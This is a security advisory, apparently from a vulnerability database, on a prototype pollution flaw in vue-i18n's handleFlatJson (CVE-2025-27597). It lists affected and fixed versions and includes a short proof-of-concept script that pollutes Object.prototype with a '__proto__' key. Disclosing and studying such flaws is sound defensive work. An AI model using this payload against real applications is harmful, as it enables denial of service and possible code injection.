Vue I18n Allows Prototype Pollution in `handleFlatJson`
Vulnerability type: Prototype Pollution
Vulnerability Location(s):
# v9.1
node_modules/@intlify/message-resolver/index.js
# v9.2 or later
node_modules/@intlify/vue-i18n-core/index.js
Description:
The latest version of @intlify/message-resolver (9.1) and @intlify/vue-i18n-core (9.2 or later), (previous versions might also affected), is vulnerable to Prototype Pollution through the entry function(s) handleFlatJson. An attacker can supply a payload with Object.prototype setter to introduce or modify properties within the global prototype chain, causing denial of service (DoS) a the minimum consequence.
Moreover, the consequences of this vulnerability can escalate to other injection-based attacks, depending on how the library integrates within the application. For instance, if the polluted property propagates to sensitive Node.js APIs (e.g., exec, eval), it could enable an attacker to execute arbitrary commands within the application's context.
PoC:
// install the package with the latest version
~$ npm install @intlify/message-resolver@9.1.10
// run the script mentioned below
~$ node poc.js
//The expected output (if the code still vulnerable) is below.
// Note that the output may slightly differs from function to another.
Before Attack: {}
After Attack: {"pollutedKey":123}
// poc.js
(async () => {
const lib = await import('@intlify/message-resolver');
var someObj = {}
console.log("Before Attack: ", JSON.stringify({}.__proto__));
try {
// for multiple functions, uncomment only one for each execution.
lib.handleFlatJson ({ "__proto__.pollutedKey": "pollutedValue" })
} catch (e) { }
console.log("After Attack: ", JSON.stringify({}.__proto__));
delete Object.prototype.pollutedKey;
})();
Affected software
Click a technology to see all vulnerabilities affecting it.
| Platform | Package | Vulnerable versions | Fixed in |
|---|---|---|---|
| npm package | @intlify/core | >= 9.1.0, < 9.1.11 | 9.1.11 |
| npm package | @intlify/core-base | >= 9.1.0, < 9.1.11 | 9.1.11 |
| npm package | @intlify/message-resolver | >= 9.1.0, < 9.1.11 | 9.1.11 |
| npm package | @intlify/vue-i18n-core | >= 9.2.0, < 9.14.3, >= 10.0.0-alpha.1, < 10.0.6, >= 11.0.0-beta.0, < 11.1.2 | 9.14.3, 10.0.6, 11.1.2 |
| npm package | petite-vue-i18n | >= 10.0.0, < 10.0.6, >= 11.0.0-beta.0, < 11.1.2 | 10.0.6, 11.1.2 |
| npm package | vue-i18n | >= 9.1.0, < 9.14.3, >= 10.0.0-alpha.1, < 10.0.6, >= 11.0.0-beta.0, < 11.1.2 | 9.14.3, 10.0.6, 11.1.2 |
References
- https://github.com/intlify/vue-i18n/security/advisories/GHSA-p2ph-7g93-hw3m
- https://nvd.nist.gov/vuln/detail/CVE-2025-27597
- https://github.com/intlify/vue-i18n/commit/4bb6eacda7fc2cde5687549afa0efb27ca40862a
- https://github.com/intlify/vue-i18n/commit/d21e06a7440eed8ada7f522b22fcf830b98d3a53
- https://github.com/intlify/vue-i18n/commit/fbda9988d3ddd3a1a21740d506d2c183d6b6e36a
- https://github.com/intlify/vue-i18n/commit/feaf13fcff427f2cb1d5ec8076e639506ba28f9e
- https://github.com/intlify/vue-i18n
- https://github.com/intlify/vue-i18n/releases/tag/v10.0.6
- https://github.com/intlify/vue-i18n/releases/tag/v11.1.2
- https://github.com/intlify/vue-i18n/releases/tag/v9.14.3
- CVSS vector
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P- Weakness (CWE)
CWE-1321- Platform
- npm
- Package
@intlify/core, @intlify/core-base, @intlify/message-resolver- Disclosed
- 07.03.2025
- Updated
- 11.10.2026 10:22
Sources and licenses
OSV / GitHub Advisory Database - GHSA-p2ph-7g93-hw3m - CC BY 4.0
Vulnerability history: @intlify/core-base
All published vulnerabilities of this package (npm package), newest first. Shows whether this is a one-off slip or a package that needs watching.
- Total entries
- 3
- First → latest
- 12.2024 07.2025
- Without a fix
- 0
- Exploited in attacks
- 0
Severity breakdown
- High 1
- Medium 2
Disclosures per year
- 2024: 1
- 2025: 2
- 2026: 0
-
Vue I18n Allows Prototype Pollution in `handleFlatJson` this entry
Know which vulnerabilities affect your application
With the DockRay integration and software inventory enabled, DockRay checks reported component versions against known vulnerabilities and notifies you about confirmed matches. Coverage depends on the supported technology and available advisory data.